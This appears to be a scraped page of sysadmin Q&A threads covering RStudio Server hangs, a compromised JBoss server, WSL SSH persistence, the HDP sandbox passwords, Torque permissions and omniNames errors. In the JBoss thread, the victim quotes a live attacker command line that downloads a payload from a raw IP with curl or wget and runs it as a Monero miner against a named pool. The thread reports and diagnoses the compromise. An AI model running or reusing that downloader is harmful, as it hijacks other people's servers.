RStudio server hangs for 1 user only - linux

I am running RStudio Server version 0.98.978 with R 3.0.2. on an Ubuntu 14 server. Yesterday I executed a command that caused the session to freeze. Since then, every time I try to load that user profile and that user profile only, the browser hangs. I generally get an error message saying the browser has become unresponsive (regardless of whether I use Chrome or IE ).
Simple commands like R.Version() take several minutes to complete. I have tried rebooting the server and killing all processes related to the RStudio account in question. So far nothing has resolved the problem. My searches have only brought up solutions to fix the problem on Windows. What else can I try to fix this problem?

I had the same problem and none of above solutions worked for me. I Tried following steps and problem solved:
1- Suspand all tasks:
`$ sudo rstudio-server force-suspend-all`
2- Stop RStudio server:
`$ sudo rstudio-server stop`
3- Delete .rstudio folder in /home/user/.rstudio:
`$ rm /home/user/.rstudio`
4- Start RStudio server:
`$ sudo rstudio-server start`
5- Open your browser and start using RStudio Server :)

You might want to do a ps -u user where user is the user whose session is hanging in the browser, and kill the rsession related to it.
I had the same issue and was about to give up and delete my user when almost serendipitiously, I couldn't delete it due to an ongoing processes tied to my user. I did a ps -u jp_smasher where jp_smasher is my user name and found an offending rsession.
[root]# ps -u jp_smasher
PID TTY TIME CMD
39774 ? 00:00:00 sshd
39776 pts/0 00:00:00 bash
39888 ? 00:00:00 sshd
39889 pts/1 00:00:00 bash
39999 pts/0 00:02:24 R
54230 ? 00:00:00 sshd
54231 pts/3 00:00:00 bash
54372 ? 00:00:11 rsession
54503 ? 00:00:00 sshd
54504 ? 00:00:00 sftp-server
69992 ? 00:00:00 sshd
69993 pts/4 00:00:00 bash
[root]# kill 54372
Killing the process doesn't solve the main problem (which could be some memory-hogging process etc), but it does resolve the symptom of the hanging browser.

I suspect that the ~/.rstudio folder is for versions of Rstudio < 1.3. For newer versions, you will want to look at ~/.local/share/rstudio/sessions instead, and remove the folder within it instead.
See: https://support.rstudio.com/hc/en-us/articles/218730228-Resetting-a-user-s-state-on-RStudio-Server, which mentions Older versions of (version 1.3 of RStudio Server Pro and earlier) used a non-configurable folder named .rstudio to store state

it looks like you have a huge .Rdata file under your home directory so Rstudio tries to reload it everytime you restart your session. Delete that file and you should be good to go.

It may be due to that you have processed larger files. Just kill the particular r session. That will suffice.
Command: ps -u
find out the rsession and kill it.

I solved this problem - Rstudio-server hanging 1 person only. But I could not solve it with above methods. I think it is a network problem so I couldn't receive any response from <~~~~~~.cache.js> calling. In this case, you can find out <~~~~~~~~~.cache.js> no response with pushing key before you click log-in button.
Anyway, here is my way.
Reset your Network with following orders
you can insert these into cmd terminal as an admin mode.
netsh winsock reset
netsh int ip reset
Reboot
The IP information may be erased.
So if you're using fixed IP address, fill the blanks with as-is IP address.
That's all.
Since there could be a network issue when you cannot login into Rstudio server,
you may take this way to recover the connection.

Related

JBoss AS 7.1.0 Final possible security issue

During the last days I have found on my server a suspicious running processes on my server.
jboss 23276 0.0 0.0 113108 644 ? S 04:25 0:00 /bin/bash -c cd /tmp; rm yam; pkill -9 yam; pkill -9 minergate-cli;curl -ks http://107.155.106.174/t/5tf-1478613950.txt > yam || (wget https://107.155.106.174/t/5tf-1478613950.txt --no-check-certifica
jboss 23277 374 0.1 424456 35600 ? Sl 04:25 2880:22 ./yam --mining-params xmr:av=0&donation-interval=50 -c x -M stratum+tcp://dxzgadfgsdfgsdfgsdfgsdfgwerjukQdysdddRFch2CGykmqWUJPJW2hf23AaJWXmEPe96xYyYVDGn7qN:x#xmr-usa.dwarfpool.com:9050/
I have search on internet and seems to be that someone is using my server as a computing node to bitcoin mining. So someone managed to upload and run this on my server. As far as I know doesn't have access to the password and only is able to do this on the Linux user jboss and my jboss application is running also under this user.
As a quick solution I have create a file with the same names on the tmp folder as root so it will no have access to overwrite it. And also I'm running a script to check every minute if a process who contain some of those process parameter is running.
I want to find the source of this issue. The jboss management console is deactivated.
BTW: my server run a Centos 7 and java version "1.7.0_79".
Propably you have same issue like we had on our server.
It's about vulnereability in Apache Struts, look on this https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638 and this https://cwiki.apache.org/confluence/display/WW/S2-045
In our case someone was mining and trying get some information about operating system (SSH version, Os family, users,...). Fortunatelly we are running application under dedicated account and without any public accessed ports (attack misuse proxied app). But you should check some logs and looking some "multipart/form-data" (in our case)
grep -r -ni 'multipart/form-data'

Keep SSH running on Windows 10 Bash

I am having a problem keeping SSH running on the Windows Subsystem for Linux. It seems that if a shell is not open and running bash, all processes in the subsystem are killed. Is there a way to stop this?
I have tried to create a service using nssm but have not be able to get it working. Now I am attempting to start a shell and then just send it to the background but I haven't quite figured out how.
You have to keep at least one bash console open in order for background tasks to keep running: As soon as you close your last open bash console, WSL tears-down all running processes.
And, yes, we're working on improving this scenario in the future ;)
Update 2018-02-06
In recent Windows 10 Insider builds, we added the ability to keep daemons and services running in the background, even if you close all your Linux consoles!
One remaining limitation with this scenario is that you do have to manually start your services (e.g. $ sudo service ssh start in Ubuntu), though we are investigating how we might be able to allow you to configure which daemons/services auto-start when you login to your machine. Updates to follow.
To maintain WSL processes, I place this file in C:\Users\USERNAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wsl.vbs
set ws=wscript.createobject("wscript.shell")
ws.run "C:\Windows\System32\bash.exe -c 'sudo /etc/rc.local'",0
In /etc/rc.local I kick off some services and finally "sleep" to keep the whole thing running:
/usr/sbin/sshd
/usr/sbin/cron
#block on this line to keep WSL running
sleep 365d
In /etc/sudoers.d I added a 'rc-local' file to allow the above commands without a sudo password prompt:
username * = (root) NOPASSWD: /etc/rc.local
username * = (root) NOPASSWD: /usr/sbin/cron
username * = (root) NOPASSWD: /usr/sbin/sshd
This worked well on 1607 but after the update to 1704 I can no longer connect to wsl via ssh.
Once you have cron running you can use 'sudo crontab -e -u username' to define cron jobs with #reboot to launch at login.
Just read through this thread earlier today and used it to get sshd running without having a wsl console open.
I am on Windows 10 Version 1803 and using Ubuntu 16.04.5 LTS in WSL.
I needed to make a few changes to get it working. Many thanks to google search and communities like this.
I modified /etc/rc.local as such:
mkdir /var/run/sshd
/usr/sbin/sshd
#/usr/sbin/cron
I needed to add the directory for sshd or I would get an error "Missing privilege separation directory /var/run/sshd
I commented out cron because I was getting similar errors and haven't had the time or need yet to fix it.
I also changed the sudoers entries a little bit in order to get them to work:
username ALL = ....
Hope this is useful to someone.
John Butler

HDP 2.5 Hortonworks ambari-admin-password-reset missing

I have downloaded the sandbox from hortonworks (Centos OS), then tried to follow the tutorial. It seems like the ambari-admin-password-reset command is not there and missing. I tried also to login with putty, the console asked me to change the password so I did.
now it seems like the command is there, but I have different passwords for the console and one for the putty for the same user.
I have tried to look for the reason why for the same user 'root' I have 2 different passwords (one for the virtual box console and one for the putty) that I can login with. I see different commands on each box. more than that when I share folder I can only see it on the virtual box console but not on the putty console) which is really frustrating.
How can I enforce that what I would see from putty would be the same as what I see from the virtual box console.
I think it somehow related to TTY but I am not sure.
EDIT:
running commands from the virtual box machine output:
grep "^passwd" /etc/nsswitch.conf
OUT: passwd: files sss
grep root /etc/passwd
OUT: rppt"x"0"0"root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
getent passwd root
OUT: root:x:0:0:root:/root:/bin/bash
EDIT:
I think this is all about docker containers. It seems like the machine 2222 port is the ssh port for the hdp 2.5 container and not for the hosting machine.
Now I get another problem. when running
docker exec sandbox ls
it is getting stuck. any help ?
Thanks for helpers
So now I had the time to analyze the sandbox vm, and write it up for other users.
As you stated correctly in your edit of the question, its the docker container setup of the sandbox, which confuses with two separate root users:
via ssh root#127.0.0.1 -p 2222 you get into the docker container called "sandbox". This is a CentOS release 6.8 (Final), containing all the HDP services, especially the ambari service. The configuration enforces a password change at first login for the root user. Inside this VM you can also execute the ambari-admin-password-reset and set there a password for the ambari admin.
via console access you reach the docker host running a Centos 7.2, here you can login with the default root password for the VM as found in the HDP docs.
Coming to your sub-question with the hanging docker exec, it seems to be a bug in that specific docker version. If you google that, you will find issues discussing this or similar problems with docker.
So I thought that it would be a good idea to just update the host via yum update. However this turned out to be a difficult path.
yum tried to update the kernel, but complained that there is not enough space on the boot partion.
So I moved the boot partion to the root partition:
edit /etc/fsab and comment out the boot entry
unmount /boot
mv /boot
cp -a /boot.org /boot
grub2-mkconfig -o /boot/grub2/grub.cfg
grub2-install /dev/sda
reboot
After that I have found out that the docker configuration is broken and docker does not start anymore. In the logs it complained about
"Error starting daemon: error initializing graphdriver:
\"/var/lib/docker\" contains other graphdrivers: devicemapper; Please
cleanup or explicitly choose storage driver (-s )"
So I edited /etc/systemd/system/multi-user.target.wants/docker.service and changed the ExecStart setting to:
ExecStart=/usr/bin/dockerd --storage-driver=overlay
After a service docker start and a docker start sandbox. The container worked again and I could could login to the container and after a ambari-server restart everything worked again.
And now - with the new docker version 1.12.2, docker exec sandbox ls works again.
So to sum up the docker exec command has a bug in that specific version of the sandbox, but you should think twice if you want to upgrade your sandbox.
I ran into the same issue.
The HDP 2.5 sandbox runs all of its components in a docker container, but commands like docker exec -it sandbox /bin/bash or docker attach sandbox got stuck.
When I ran a simple ps aux, I found several /usr/bin/docker-proxy commands which looked like :
/usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 60000 -container-ip 172.17.0.2 -container-port 60000
They probably forward the HTTP ports of the various UIs of HDP components.
I could ssh into the container ip (here 172.17.0.2) using root/hadoop to authenticate. From there, I could use all "missing" commands like ambari-admin-password-reset.
$ ssh root#172.17.0.2
... # change password
$ ambari-admin-password-reset
NB: I am new to docker, so there's probably a better way to deal with this.
I'd like to post here the instructions for 3.0.1 here.
I followed the instructions of installing hortonworks version 3.0.1 here: https://youtu.be/5TJMudSNn9c
After running the docker container, go to your browser and enter "localhost:4200", that will take you to the in browser terminal of the container, that hosts ambari. Enter "root" for login and "hadoop" for password, change the root password, and then enter "ambari-admin-password-reset" in order to reset ambari password.
In order to be able to use sandbox-hdp.hortonworks.com, you need to add the line "127.0.0.1 sandbox-hdp.hortonworks.com" at the end of the /private/etc/hosts file on your mac.
Incorrect Pass
Then right corner click on power button >> power off drop down >> Restart >> when it boots up then press Esc key to get into recovery menu
Restart
select advance option and hit enter
Advance Option
Select Recovery mode hit enter
Select Root
Root enter
Command
mount -rw -o remount/
ls /home
change pass command
passwd username
user as yours
last step
enter pass two times by pressing enter
enter image description here
Hopefully you changed password (:

Error: pbs_iff: cannot read reply from pbs_server

I have installed Torque-4.2.6 version. My machine has RHEL 6 Operating System. I have installed through user1 login as it has root permission. It is working properly whenever I execute 'pbsnodes -a' command. If I'm login through user2 onto the same machine, whenever I execute 'pbsnodes -a' then it is throwing the following error.
pbs_iff: cannot read reply from pbs_server
No Permission.
pbsnodes: cannot connect to server 'node1', error=15007 (Unauthorized Request )
There no such executable as pbs_iff. What could be the problem.? Can anyone help me.?
Here is my experience with PbsPro, I would assume it works similar with Torque.
What you need is to change the pbs_iff mod to -rwsr-xr-x by:
chmod 4755 /opt/pbs/.../sbin/pbs_iff
Refer to the location of pbs_iff file in your system. Note it is in the pbs.../sbin folder instead of the bin folder.
Per https://serverfault.com/questions/253932/torque-works-half-of-the-time-fails-no-permission-the-other-half -- there may be an issue with the queue being clogged with corrupt jobs, possibly from a dead node, so manually clearing out
/var/spool/torque/server_priv/jobs/
and
/var/spool/torque/server_priv/arrays/
and restarting pbs_server may solve the issue.
Note you will obviously have to resubmit these jobs back to the queue
qmgr
Qmgr:set set server acl_host_enable=False

Error When Starting OmniEvents

I am attempting to install REDHAWK v1.8.2 on a fresh install of CentOS 6.4 32 bit, but I am unable to get omniNames and omniEvents to start.
sudo /sbin/service omniEvents stop
Stopping CORBA event service: omniEvents
sudo /sbin/service omniNames stop
Stopping omniNames [ OK ]
sudo /sbin/service omniNames start
Starting omniNames [ OK ]
sudo /sbin/service omniEvents start
Starting CORBA event service on port 11169: omniEvents: [25848]: Warning - failed to resolve initial reference 'NameService'. Exception: TRANSIENT
omniEvents.
I tried to verify if omniNames was really running by calling the naming client, but got an error (see below), so it seems omniNames is not successfully starting.
nameclt list
Caught a TRANSIENT exception when trying to validate the type of the
NamingContext. Is the naming service running?
As part of the debugging process, I tried to kill the omniNames process and start it a different way (see below).
sudo killall omniNames
omniNames -start
Wed Nov 13 21:08:08 2013:
Starting omniNames for the first time.
Error: cannot create initial log file '/var/omninames/omninames-orion.log':
No such file or directory
You can set the environment variable OMNINAMES_LOGDIR to specify the
directory where the log files are kept.
I'm not sure why omniNames can't create the log file, because I verified that /var/omninames folder actually exists and even starting omniNames as root yields the same error. Regardless, I set the log directory to my desktop to circumvent the error (see below).
export OMNINAMES_LOGDIR=/home/$USER/Desktop/logs
mkdir -p /home/$USER/Desktop/logs
omniNames -start
Wed Nov 13 21:09:17 2013:
Starting omniNames for the first time.
Wrote initial log file.
Read log file successfully.
Root context is IOR:010000002b00000049444c3a6f6d672e6f72672f436f734e616d696e672f4e616d696e67436f6e746578744578743a312e30000001000000000000005c000000010102000a00000031302e322e382e333500f90a0b0000004e616d6553657276696365000200000000000000080000000100000000545441010000001c00000001000000010001000100000001000105090101000100000009010100
Checkpointing Phase 1: Prepare.
Checkpointing Phase 2: Commit.
Checkpointing completed.
Even though it looks like omniNames successfully started, when I open another terminal window and call the naming client, I get the same error as before (see below).
nameclt list
Caught a TRANSIENT exception when trying to validate the type of the
NamingContext. Is the naming service running?
The only modification I made in the /etc/omniORB.cfg file is to add the lines for InitRef (see below).
InitRef = NameService=corbaname::localhost
InitRef = EventService=corbaloc::localhost:1169/omniEvents
Also, I am not connected to the internet so my version of CentOS has not been updated from the base version, except for the boost libraries as recommended in Appendix J of the manual (http://sourceforge.net/projects/redhawksdr/files/redhawk-doc/1.9.0/REDHAWK_Manual_v1.9.0.pdf/download).
Looks like the issue is in your configuration. You've got the wrong port in your configuration file. It should be port 11169 however you've listed port 1169.
See: http://redhawksdr.github.io/Documentation/mainch2.html#x4-120002.6 for details.
A few other observations and tricks regarding omniOrb in case this was not the issue.
Sometimes omninames/omnievents can get into a bad state. The fix is to delete the log files created by omniNames and omniEvents and restart the services. They are located:
/var/lib/omniEvents/*
/var/omniNames/*
You'll need to be root to delete those files. I always forget where they are located and often do a "locate omni | grep -i log" to remind myself but you must do this as root since they are not visible to standard users.
While it should not matter, I've personally found that using 127.0.0.1 is more reliable than localhost. For some reason, using localhost within a VM in the configuration file has caused me problems in the past. Consider using 127.0.0.1 instead of localhost. This is what the current version of the Redhawk Manual recommends as well.
You mentioned you are using Redhawk v1.8.2. As an FYI, the latest REDHAWK version in the 1.8 series is currently v1.8.5 and 1.9.0 was also recently released.
Hopefully this gets you up and running!

Resources